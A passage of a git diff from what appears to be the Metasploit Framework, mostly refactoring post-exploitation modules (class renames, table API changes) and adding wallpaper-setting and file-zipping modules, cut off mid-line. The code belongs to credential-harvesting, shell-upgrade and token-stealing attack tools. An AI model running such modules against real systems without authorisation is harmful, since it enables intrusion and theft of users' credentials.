selecting the command - platform = session.platform - else - # When in Meterpreter the safest thread number is 10 - thread_num = 10 - # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform - platform = session.sys.config.sysinfo['OS'] - end - - platform = session.platform - - case platform + case session.platform when /win/i ns_opt = " -query=srv " cmd = "nslookup" @@ -82,13 +67,13 @@ class Metasploit3 < Msf::Post cmd = "/usr/bin/host" end - while(not srvrcd.nil? and not srvrcd.empty?) - 1.upto(thread_num) do + while !srvrcd.nil? && !srvrcd.empty? + 1.upto session.max_threads do a << framework.threads.spawn("Module(#{self.refname})", false, srvrcd.shift) do |srv| next if srv.nil? r = cmd_exec(cmd, ns_opt + "#{srv}#{domain}") - case platform + case session.platform when /win/ if r =~ /\s*internet\saddress\s\=\s/ nslookup_srv_consume("#{srv}#{domain}", r).each do |f| diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb index 283ffbfa7b..f9b60a3204 100644 --- a/modules/post/multi/gather/enum_vbox.rb +++ b/modules/post/multi/gather/enum_vbox.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'yaml' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb index 34938cb19b..19d2c67538 100644 --- a/modules/post/multi/gather/env.rb +++ b/modules/post/multi/gather/env.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb index 9b9de9aff2..adc679a47e 100644 --- a/modules/post/multi/gather/fetchmailrc_creds.rb +++ b/modules/post/multi/gather/fetchmailrc_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Post def run # A table to store the found credentials. - cred_table = Rex::Ui::Text::Table.new( + cred_table = Rex::Text::Table.new( 'Header' => ".fetchmailrc credentials", 'Indent' => 1, 'Columns' => diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb index 736c4b9fc3..8a3f53c78d 100644 --- a/modules/post/multi/gather/filezilla_client_cred.rb +++ b/modules/post/multi/gather/filezilla_client_cred.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'rexml/document' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Post origin_type: :session, private_data: opts[:password], private_type: :password, - username: opts[:user] + username: opts[:username] }.merge(service_data) login_data = { diff --git a/modules/post/multi/gather/find_vmx.rb b/modules/post/multi/gather/find_vmx.rb index eb16f3e85b..0382afde76 100644 --- a/modules/post/multi/gather/find_vmx.rb +++ b/modules/post/multi/gather/find_vmx.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'yaml' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index fde3b370a8..f6dfab98ea 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -21,7 +21,7 @@ require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles @@ -119,10 +119,10 @@ class Metasploit3 < Msf::Post # Check target for the necessary files if session.type == "meterpreter" - if session.fs.file.exists?(@paths['ff'] + temp_file) && !session.fs.file.exists?(@paths['ff'] + org_file) + if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file) print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.") return - elsif session.fs.file.exists?(@paths['ff'] + temp_file) + elsif session.fs.file.exist?(@paths['ff'] + temp_file) decrypt_file_stats(temp_file, org_file, @paths['ff']) if datastore['RECOVER'] return unless decrypt_recover_omni(temp_file, org_file) @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Post print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.") return end - elsif !session.fs.file.exists?(@paths['ff'] + org_file) + elsif !session.fs.file.exist?(@paths['ff'] + org_file) print_error("Could not download #{org_file}. File does not exist.") return end @@ -216,9 +216,9 @@ class Metasploit3 < Msf::Post rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file) if session.type == "meterpreter" - print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exists?(@paths['ff'] + temp_file) + print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file) - unless session.fs.file.exists?(@paths['ff'] + org_file) + unless session.fs.file.exist?(@paths['ff'] + org_file) print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}") return false end @@ -610,13 +610,13 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); # Lets just check theres something before going forward if session.type == "meterpreter" i=20 - vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exists?(@paths['loot']) - while (!session.fs.file.exists?(@paths['loot'])) + vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exist?(@paths['loot']) + while (!session.fs.file.exist?(@paths['loot'])) sleep 1 i -= 1 break if i == 0 end - print_error("Missing loot file. Something went wrong.") unless session.fs.file.exists?(@paths['loot']) + print_error("Missing loot file. Something went wrong.") unless session.fs.file.exist?(@paths['loot']) end # session.type == "meterpreter" print_status("Restoring original .JA: #{temp_file}") @@ -627,17 +627,17 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); vprint_status("Cleaning up: #{new_file}") file_rm(new_file) if session.type == "meterpreter" - if session.fs.file.exists?(temp_file) + if session.fs.file.exist?(temp_file) print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.") end - unless session.fs.file.exists?(org_file) + unless session.fs.file.exist?(org_file) print_error("Unable to find #{org_file} on target. Something went wrong.") end end # session.type == "meterpreter" # At this time, there should have a loot file if session.type == "meterpreter" - unless session.fs.file.exists?(@paths['loot']) + unless session.fs.file.exist?(@paths['loot']) print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.") # Another issue is encoding. The files may be seen as 'data' rather than 'ascii' print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter" @@ -663,7 +663,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); file_rm(@paths['loot']) # Create table to store - cred_table = Rex::Ui::Text::Table.new( + cred_table = Rex::Text::Table.new( 'Header' => 'Firefox Credentials', 'Indent' => 1, 'Columns'=> diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index 6c296d9118..2dd4f4a106 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index c2b7ebaaaf..2d68195513 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -8,7 +8,7 @@ require 'sqlite3' require 'uri' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles include Msf::Post::OSX::System @@ -376,7 +376,7 @@ class Metasploit3 < Msf::Post # Print all extracted LastPass data def print_lastpass_data(account_map) - lastpass_data_table = Rex::Ui::Text::Table.new( + lastpass_data_table = Rex::Text::Table.new( 'Header' => "LastPass Accounts", 'Indent' => 1, 'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key) @@ -662,7 +662,7 @@ class Metasploit3 < Msf::Post account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| - lastpass_vault_data_table = Rex::Ui::Text::Table.new( + lastpass_vault_data_table = Rex::Text::Table.new( 'Header' => "Decrypted vault from #{username}", 'Indent' => 1, 'Columns' => %w(URL Username Password) diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index c16ef69a6c..4e69cf8c7e 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Post # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") - if not ::File.exists?(datastore['RESOURCE']) + if not ::File.exist?(datastore['RESOURCE']) raise "Resource File does not exists!" else ::File.open(datastore['RESOURCE'], "rb").each_line do |cmd| diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb index 4bd3f3e381..b6baec584f 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Post def run # A table to store the found credentials. - cred_table = Rex::Ui::Text::Table.new( + cred_table = Rex::Text::Table.new( 'Header' => ".netrc credentials", 'Indent' => 1, 'Columns' => diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index 09c3450e84..f0f1cb6f3a 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Post # Store the creds to def parse_creds(f) - cred_table = Rex::Ui::Text::Table.new( + cred_table = Rex::Text::Table.new( 'Header' => 'Postgres Data', 'Indent' => 1, 'Columns' => ['Host', 'Port', 'DB', 'User', 'Password'] diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb index 437ea9b73a..7074c68ca2 100644 --- a/modules/post/multi/gather/pidgin_cred.rb +++ b/modules/post/multi/gather/pidgin_cred.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'rexml/document' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Post end data = "" - credentials = Rex::Ui::Text::Table.new( + credentials = Rex::Text::Table.new( 'Header' => "Pidgin Credentials", 'Indent' => 1, 'Columns' => @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Post "Port" ]) - buddylists = Rex::Ui::Text::Table.new( + buddylists = Rex::Text::Table.new( 'Header' => "Pidgin Contact List", 'Indent' => 1, 'Columns' => diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index 1c76b839a8..02125ec6e0 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, @@ -40,21 +40,8 @@ class Metasploit3 < Msf::Post end iplst << ipa end - if session.type =~ /shell/ - # Only one thread possible when shell - thread_num = 1 - # Use the shell platform for selecting the command - platform = session.platform - else - # When in Meterpreter the safest thread number is 10 - thread_num = 10 - # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform - platform = session.sys.config.sysinfo['OS'] - end - platform = session.platform - - case platform + case session.platform when /win/i count = " -n 1 " cmd = "ping" @@ -69,10 +56,10 @@ class Metasploit3 < Msf::Post while(not iplst.nil? and not iplst.empty?) a = [] - 1.upto(thread_num) do + 1.upto session.max_threads do a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add| next if ip_add.nil? - if platform =~ /solaris/i + if session.platform =~ /solaris/i r = cmd_exec(cmd, "-n #{ip_add} 1") else r = cmd_exec(cmd, count + ip_add) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index a7f9b7ff42..8467c193a3 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post vprint_status('No Reminna credentials collected') else vprint_good("Collected #{creds.size} sets of Remmina credentials") - cred_table = Rex::Ui::Text::Table.new( + cred_table = Rex::Text::Table.new( 'Header' => 'Remmina Credentials', 'Indent' => 1, 'Columns' => %w(Host Port Service User Password) diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index a5ccaa1a6c..831dbc8b91 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Post response = client.net.resolve.resolve_hosts(hosts, family) - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Indent' => 0, 'SortIndex' => -1, 'Columns' => diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index ee0736848e..6a0013b57b 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Post def dump_rsync_secrets(config_file) vprint_status("Attempting to get RSYNC creds from #{config_file}") - creds_table = Rex::Ui::Text::Table.new( + creds_table = Rex::Text::Table.new( 'Header' => "RSYNC credentials from #{config_file}", 'Columns' => %w(Username Password Module) ) diff --git a/modules/post/multi/gather/rubygems_api_key.rb b/modules/post/multi/gather/rubygems_api_key.rb index bd732bdbe5..422ccce460 100644 --- a/modules/post/multi/gather/rubygems_api_key.rb +++ b/modules/post/multi/gather/rubygems_api_key.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb index 771391e748..5953fdb132 100644 --- a/modules/post/multi/gather/run_console_rc_file.rb +++ b/modules/post/multi/gather/run_console_rc_file.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Post # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") - if not ::File.exists?(datastore['RESOURCE']) + if not ::File.exist?(datastore['RESOURCE']) raise "Resource File does not exists!" else ::File.open(datastore['RESOURCE'], "rb").each_line do |cmd| diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index b07ccd6090..2f41b101f7 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -7,19 +7,12 @@ require 'msf/core' require 'rex' require 'csv' - - - - -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles - include Msf::Post::OSX::System - - def initialize(info={}) super( update_info( info, 'Name' => 'Multi Gather Skype User Data Enumeration', @@ -52,9 +45,9 @@ class Metasploit3 < Msf::Post return end - if (session.platform =~ /java/) || (session.platform =~ /osx/) - # Make sure a Java Meterpreter on anything but OSX will exit - if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/ + if session.platform =~ /java/ + # Make sure that Java Meterpreter on anything but OSX will exit + if session.platform !~ /osx/ print_error("This session type and platform are not supported.") return end @@ -105,7 +98,7 @@ class Metasploit3 < Msf::Post # Download file using Meterpreter functionality and returns path in loot for the file def download_db(profile) if session.type =~ /meterpreter/ - if sysinfo['OS'] =~ /Mac OS X/ + if session.platform =~ /osx/ file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true) else file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true) diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index b5746e929e..ceb2ccf86a 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'sshkey' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb index bcda33c4ac..0141fe9260 100644 --- a/modules/post/multi/gather/thunderbird_creds.rb +++ b/modules/post/multi/gather/thunderbird_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Post end # Create a rex table to store our data - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'Thunderbird login data', 'Indent' => 1, 'Columns' => diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index cdb498623a..d931f4292e 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'rex/google/geolocation' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, @@ -108,18 +108,8 @@ class Metasploit3 < Msf::Post # Run Method for when run command is issued def run - if session.type =~ /shell/ - # Use the shell platform for selecting the command - platform = session.platform - else - # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform - platform = session.sys.config.sysinfo['OS'] - platform = 'osx' if platform =~ /darwin/i - end - - case platform + case session.platform when /win/i - listing = cmd_exec('netsh wlan show networks mode=bssid') if listing.nil? print_error("Unable to generate wireless listing.") @@ -136,7 +126,6 @@ class Metasploit3 < Msf::Post end when /osx/i - listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s') if listing.nil? print_error("Unable to generate wireless listing.") @@ -152,7 +141,6 @@ class Metasploit3 < Msf::Post end when /linux/i - listing = cmd_exec('iwlist scanning') if listing.nil? print_error("Unable to generate wireless listing.") @@ -169,7 +157,6 @@ class Metasploit3 < Msf::Post end when /solaris/i - listing = cmd_exec('dladm scan-wifi') if listing.blank? print_error("Unable to generate wireless listing.") @@ -182,7 +169,6 @@ class Metasploit3 < Msf::Post end when /bsd/i - interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq") # Printing interface as this platform requires the interface to be specified # it might not be detected correctly. diff --git a/modules/post/multi/general/close.rb b/modules/post/multi/general/close.rb index 443f40d0b0..33720b0c42 100644 --- a/modules/post/multi/general/close.rb +++ b/modules/post/multi/general/close.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/multi/general/execute.rb b/modules/post/multi/general/execute.rb index 0318bda57e..2f3c39248d 100644 --- a/modules/post/multi/general/execute.rb +++ b/modules/post/multi/general/execute.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/multi/general/wall.rb b/modules/post/multi/general/wall.rb index 563ccfe3c3..d9f7b32f6e 100644 --- a/modules/post/multi/general/wall.rb +++ b/modules/post/multi/general/wall.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info = {}) super( update_info( diff --git a/modules/post/multi/manage/dbvis_add_db_admin.rb b/modules/post/multi/manage/dbvis_add_db_admin.rb index eb8d5f1956..ef965c3053 100644 --- a/modules/post/multi/manage/dbvis_add_db_admin.rb +++ b/modules/post/multi/manage/dbvis_add_db_admin.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/manage/dbvis_query.rb b/modules/post/multi/manage/dbvis_query.rb index ebc9518926..efed0c9bcf 100644 --- a/modules/post/multi/manage/dbvis_query.rb +++ b/modules/post/multi/manage/dbvis_query.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb index fd93ae6132..9219c7e3dd 100644 --- a/modules/post/multi/manage/multi_post.rb +++ b/modules/post/multi/manage/multi_post.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Post print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? macro = datastore['MACRO'] entries = [] - if not ::File.exists?(macro) + if not ::File.exist?(macro) print_error "Resource File does not exists!" return else diff --git a/modules/post/multi/manage/play_youtube.rb b/modules/post/multi/manage/play_youtube.rb index b4b18d615c..492d18e8ed 100644 --- a/modules/post/multi/manage/play_youtube.rb +++ b/modules/post/multi/manage/play_youtube.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb index bce65e61da..442fc81efc 100644 --- a/modules/post/multi/manage/record_mic.rb +++ b/modules/post/multi/manage/record_mic.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report diff --git a/modules/post/multi/manage/set_wallpaper.rb b/modules/post/multi/manage/set_wallpaper.rb new file mode 100644 index 0000000000..c0fbd5af2f --- /dev/null +++ b/modules/post/multi/manage/set_wallpaper.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Multi Manage Set Wallpaper', + 'Description' => %q( + This module will set the desktop wallpaper background on the specified session. + The method of setting the wallpaper depends on the platform type. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'timwr'], + 'Platform' => [ 'win', 'osx', 'linux', 'android' ], + 'SessionTypes' => [ 'meterpreter' ] + ) + ) + + register_options( + [ + OptPath.new('WALLPAPER_FILE', [true, 'The local wallpaper file to set on the remote session']) + ], self.class) + end + + def upload_wallpaper(tempdir, file) + remote_file = "#{tempdir}#{File.basename(file)}" + print_status("#{peer} - Uploading to #{remote_file}") + + write_file(remote_file, File.binread(file)) + print_status("#{peer} - Uploaded to #{remote_file}") + remote_file + end + + # + # The OS X version uses an AppleScript to do this + # + def osx_set_wallpaper(file) + remote_file = upload_wallpaper("/tmp/", file) + script = %(osascript -e 'tell application "Finder" to set desktop picture to POSIX file "#{remote_file}"') + begin + cmd_exec(script) + rescue EOFError + return false + end + true + end + + # + # The Windows version uses the SystemParametersInfo call + # + def win_set_wallpaper(file) + remote_file = upload_wallpaper("%TEMP%\\", file) + client.railgun.user32.SystemParametersInfoA(0x0014, nil, remote_file, 0x2) != 0 + end + + # + # The Android version uses the set_wallpaper command + # + def android_set_wallpaper(file) + client.android.set_wallpaper(File.binread(file)) + true + end + + def os_set_wallpaper(file) + case session.platform + when /osx/ + osx_set_wallpaper(file) + when /win/ + win_set_wallpaper(file) + when /android/ + android_set_wallpaper(file) + end + end + + def run + file = datastore['WALLPAPER_FILE'] + if os_set_wallpaper(file) + print_good("#{peer} - The wallpaper has been set") + else + print_error("#{peer} - Unable to set the wallpaper") + end + end +end diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index bcc5a44ed6..6ea0fe0bbd 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/powershell' require 'msf/core/post/windows/powershell' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Exploit::Powershell include Post::Windows::Powershell @@ -67,6 +67,10 @@ class Metasploit3 < Msf::Post lhost = framework.datastore['LHOST'] else lhost = session.tunnel_local.split(':')[0] + if lhost == 'Local Pipe' + print_error 'LHOST is "Local Pipe", please manually set the correct IP.' + return + end end # If nothing else works... @@ -112,7 +116,7 @@ class Metasploit3 < Msf::Post vprint_status("Platform: Python [fallback]") end end - payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE'] + payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] vprint_status("Upgrade payload: #{payload_name}") if platform.blank? @@ -137,7 +141,7 @@ class Metasploit3 < Msf::Post case platform when 'win' if session.type == 'powershell' - template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts') + template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = case datastore['Powershell::method'] when 'net' Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data) @@ -197,7 +201,7 @@ class Metasploit3 < Msf::Post #:nodelete => true # keep temp files (for debugging) } if session.platform =~ /win/i - opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64') + opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64') cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) else opts[:background] = true diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index afa83fcea1..fdb85616f2 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index 7042d04d9f..894d7c538e 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/multi/manage/zip.rb b/modules/post/multi/manage/zip.rb new file mode 100644 index 0000000000..ae7f50b90e --- /dev/null +++ b/modules/post/multi/manage/zip.rb @@ -0,0 +1,145 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Multi Manage File Compressor', + 'Description' => %q{ + This module zips a file or a directory. On Linux, it uses the zip command. + On Windows, it will try to use remote target's 7Zip if found. If not, it falls + back to its own VBScript. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'Platform' => [ 'win', 'linux' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + + register_options( + [ + OptString.new('DESTINATION', [true, 'The destination path']), + OptString.new('SOURCE', [true, 'The directory or file to compress']) + ], self.class) + end + + def get_program_file_path + get_env('ProgramFiles') + end + + def has_7zip? + file?("#{get_program_file_path}\\7-Zip\\7z.exe") + end + + def vbs(dest, src) + vbs_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.vbs")) + vbs_file << "WindowsZip \"#{src}\",\"#{dest}\"" + vbs_file + end + + def find_pid_by_user(username) + computer_name = get_env('COMPUTERNAME') + print_status("Searching for PID for #{computer_name}\\\\#{username}") + session.sys.process.processes.each do |p| + if p['user'] == "#{computer_name}\\#{username}" + return p['pid'] + end + end + + nil + end + + def steal_token + current_user = get_env('USERNAME') + pid = find_pid_by_user(current_user) + + unless pid + fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute .vbs") + end + + print_status("Stealing token from PID #{pid} for #{current_user}") + begin + session.sys.config.steal_token(pid) + rescue Rex::Post::Meterpreter::RequestError => e + # It could raise an exception even when the token is successfully stolen, + # so we will just log the exception and move on. + elog("#{e.class} #{e.message}\n#{e.backtrace * 